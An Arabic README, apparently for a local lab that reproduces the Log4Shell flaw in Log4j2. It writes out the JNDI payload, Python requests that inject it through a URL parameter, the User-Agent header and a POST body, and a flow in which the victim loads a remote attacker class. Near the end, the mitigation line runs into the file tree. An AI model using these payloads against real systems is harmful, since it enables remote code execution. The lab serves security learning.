
CVE-2021-44228 (Log4Shell) ميدان إعادة إنتاج الثغرة الأمنية | SpringBoot + Log4j2 2.14.1 | التحقق من PoC عبر 3 نواقل هجوم
⚠️ إخلاء مسؤولية: هذا المشروع مخصص لأغراض التعلم الأمني والبحث التقني فقط، جميع بيئات الثغرات تم إعدادها محليًا، ولم يتم اختبار أي أهداف حقيقية. يُرجى عدم استخدامه لأغراض غير قانونية، وتقع مسؤولية استخدام هذا المشروع على عاتق المستخدم.
Log4j2 هو إطار عمل التسجيل (Logging) الأكثر استخدامًا في بيئة Java. يحتوي على ميزة Lookup تسمح بإدراج محتوى ديناميكي داخل السجلات باستخدام صيغة ${...}. في الإصدارات 2.14.1 وما دون، عندما يظهر ${jndi:...} في محتوى السجل، يقوم Log4j2 تلقائيًا بإرسال طلب JNDI إلى العنوان المحدد، مما يمكن المهاجم من تنفيذ كود عن بُعد (RCE).
رقم هذه الثغرة هو CVE-2021-44228، ودرجة CVSS الخاصة بها 10.0 (الدرجة القصوى)، وشروط استغلالها بسيطة للغاية، وتؤثر على جميع تطبيقات Java التي تستخدم Log4j2 تقريبًا، وتكلفة استغلالها منخفضة جدًا.
المتطلبات الأساسية: JDK 8+، Maven، Python 3، مكتبة requests
الخطوة الأولى: تشغيل بيئة الثغرة
افتح المشروع باستخدام IDEA، وقم بتشغيل VulnApplication.java، وعند رؤية المخرجات التالية فهذا يعني أن التشغيل نجح:
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
الخطوة الثانية: تشغيل سكربت PoC
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
حقن الـ payload عبر معاملات URL، لتشغيل logger.info("User Login: {}", username):
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
حقن الـ payload عبر ترويسات HTTP، لتشغيل logger.info("User-Agent: {}", headers):
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
حقن الـ payload عبر جسم طلب POST، لتشغيل logger.info("Data: {}", body):
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] تم استلام الاتصال! من 127.0.0.1:51631
[+] تم تأكيد الثغرة! Log4j2 أرسل طلب JNDI
[+] تم إعادة إنتاج CVE-2021-44228 بنجاح
استلام الطرف المستمع لاتصال TCP من بيئة الثغرة يعني أن Log4j2 قام بتحليل ${jndi:...} وأرسل طلب LDAP، مما يؤكد وجود الثغرة.
ميزة Lookup في Log4j2 تسمح بإدراج محتوى ديناميكي داخل السجلات باستخدام صيغة ${...}، مثل ${env:PATH} لقراءة متغيرات البيئة، و${sys:user.dir} لقراءة خصائص النظام.
JNDI (Java Naming and Directory Interface) هي واجهة التسمية والدليل في Java، عند إعطائها عنوانًا، تقوم بالبحث وإرجاع النتيجة. إذا كانت النتيجة فئة Java، يقوم JVM تلقائيًا بتحميلها وتنفيذها.
① المهاجم يكتب في حقل الإدخال: ${jndi:ldap://IP_المهاجم:1389/EvilClass}
↓
② الموقع يستقبل الإدخال، ويسجله باستخدام logger.info()
↓
③ Log4j2 يحلل محتوى السجل، ويكتشف ${jndi:ldap://...}
↓
④ Log4j2 يرسل طلب LDAP → يتصل بخادم المهاجم
↓
⑤ خادم LDAP الخاص بالمهاجم يعيد: "قم بالتحميل من هذا العنوان EvilClass.class"
↓
⑥ الخادم الضحية يقوم بالتحميل وتحميل فئة EvilClass
↓
⑦ كتلة static في EvilClass يتم تنفيذها تلقائيًا → RCE (تنفيذ كود عن بُعد)
-Dlog4j2.formatMsgNoLookups=true في معاملات التشغيل${jndi:log4j2-vuln-lab/
├── pom.xml # إعدادات Maven، تحديد إصدار Log4j2 2.14.1 الضعيف
├── exploit/
│ └── exploit.py # سكربت استغلال PoC، 3 ناقلات هجوم + استماع TCP للتحقق
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # فئة تشغيل SpringBoot
│ └── controller/
│ └── UserController.java # 3 نقاط حقن ثغرة (معاملات GET/ترويسة UA/جسم POST)
└── resources/
├── application.yml # إعدادات المنفذ + مستوى التسجيل
└── log4j2.xml # ملف إعدادات Log4j2